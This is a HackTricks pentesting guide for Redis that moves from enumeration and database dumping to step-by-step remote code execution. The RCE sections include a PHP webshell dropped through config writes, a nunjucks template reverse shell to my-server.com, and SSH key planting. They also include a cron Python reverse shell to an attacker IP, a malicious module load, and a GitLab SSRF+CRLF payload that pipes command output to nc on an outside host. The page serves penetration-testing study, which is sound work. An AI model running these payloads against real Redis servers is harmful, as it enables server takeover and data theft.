Skip to content

6379 - Pentesting Redis โ€‹

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Information โ€‹

From the docs: Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker).

By default Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement ssl/tls. Learn how to run Redis with ssl/tls here.

Default port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration โ€‹

Some automated tools that can help to obtain info from a redis instance:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manual Enumeration โ€‹

Redis is a text based protocol, you can just send the command in a socket and the returned values will be readable. Also remember that Redis can run using ssl/tls (but this is very weird).

In a regular Redis instance you can just connect using nc or you could also use redis-cli:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

The first command you could try is info. It may return output with information of the Redis instance or something like the following is returned:

-NOAUTH Authentication required.

In this last case, this means that you need valid credentials to access the Redis instance.

Redis Authentication โ€‹

By default Redis can be accessed without credentials. However, it can be configured to support only password, or username + password.
It is possible to set a password in redis.conf file with the parameter requirepass or temporary until the service restarts connecting to it and running: config set requirepass p@ss$12E45.
Also, a username can be configured in the parameter masteruser inside the redis.conf file.

โ„น๏ธ

If only password is configured the username used is "default".
Also, note that there is no way to find externally if Redis was configured with only password or username+password.

In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it.
In case you found valid credentials you need to authenticate the session after establishing the connection with the command:

bash
AUTH <username> <password>

Valid credentials will be responded with: +OK

Authenticated enumeration โ€‹

If the Redis server permits anonymous connections or if you have obtained valid credentials, you can initiate the enumeration process for the service using the following commands:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Other Redis commands can be found here and here.

Note that the Redis commands of an instance can be renamed or removed in the redis.conf file. For example this line will remove the command FLUSHDB:

rename-command FLUSHDB ""

More about configuring securely a Redis service here: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

You can also monitor in real time the Redis commands executed with the command monitor or get the top 25 slowest queries with slowlog get 25

Find more interesting information about more Redis commands here: https://lzone.de/cheat-sheet/Redis

Dumping Database โ€‹

Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:

Or you can just get all the keyspaces (databases) with:

INFO keyspace

In that example the database 0 and 1 are being used. Database 0 contains 4 keys and database 1 contains 1. By default Redis will use database 0. In order to dump for example database 1 you need to do:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS * 
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

In case you get the following error -WRONGTYPE Operation against a key holding the wrong kind of value while running GET <KEY> it's because the key may be something else than a string or an integer and requires a special operator to display it.

To know the type of the key, use the TYPE command, example below for list and hash keys.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dump the database with npmredis-dump or python redis-utils

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Redis RCE โ€‹

Interactive Shell โ€‹

redis-rogue-server can automatically get an interactive shell or a reverse shell in Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell โ€‹

Info from here. You must know the path of the Web site folder:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

โ€‹If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.

Template Webshell โ€‹

Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.

For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:

javascript
{{ ({}).constructor.constructor(
  "var net = global.process.mainModule.require('net'),
       cp = global.process.mainModule.require('child_process'),
       sh = cp.spawn('sh', []);
   var client = new net.Socket();
   client.connect(1234, 'my-server.com', function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
   });"
)()}}

โš ๏ธ

Note that several template engines cache the templates in memory, so even if you overwrite them, the new one won't be executed. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).

SSH โ€‹

Example from here

Please be aware config get dir result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of config get dir you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:

  1. Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa

  2. Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Save the public key to the authorized_keys file on redis server:

    root@Urahara:~# redis-cli -h 10.85.0.52
    10.85.0.52:6379> config set dir /var/lib/redis/.ssh
    OK
    10.85.0.52:6379> config set dbfilename "authorized_keys"
    OK
    10.85.0.52:6379> save
    OK
  5. Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab โ€‹

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

This method can also be used to earn bitcoin ๏ผšyam

Load Redis Module โ€‹

  1. Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.

  2. Then you need some way to upload the compiled module

  3. Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so

  4. List loaded modules to check it was correctly loaded: MODULE LIST

  5. Execute commands:

    127.0.0.1:6379> system.exec "id"
    "uid=0(root) gid=0(root) groups=0(root)\n"
    127.0.0.1:6379> system.exec "whoami"
    "root\n"
    127.0.0.1:6379> system.rev 127.0.0.1 9999
  6. Unload the module whenever you want: MODULE UNLOAD mymodule

LUA sandbox bypass โ€‹

Here you can see that Redis uses the command EVAL to execute Lua code sandboxed. In the linked post you can see how to abuse it using the dofile function, but apparently this isn't no longer possible. Anyway, if you can bypass the Lua sandbox you could execute arbitrary commands on the system. Also, from the same post you can see some options to cause DoS.

Some CVEs to escape from LUA:

Master-Slave Module โ€‹

โ€‹The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis โ€‹

If you can send clear text request to Redis, you can communicate with it as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Therefore, if you find a SSRF vuln in a website and you can control some headers (maybe with a CRLF vuln) or POST parameters, you will be able to send arbitrary commands to Redis.

Example: Gitlab SSRF + CRLF to Shell โ€‹

In Gitlab11.4.7 were discovered a SSRF vulnerability and a CRLF. The SSRF vulnerability was in the import project from URL functionality when creating a new project and allowed to access arbitrary IPs in the form [0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the CRLF vuln was exploited just adding %0D%0A characters to the URL.

Therefore, it was possible to abuse these vulnerabilities to talk to the Redis instance that manages queues from gitlab and abuse those queues to obtain code execution. The Redis queue abuse payload is:

 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec

And the URL encode request abusing SSRF and CRLF to execute a whoami and send back the output via nc is:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

For some reason (as for the author of https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ where this info was took from) the exploitation worked with the git scheme and not with the http scheme.

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: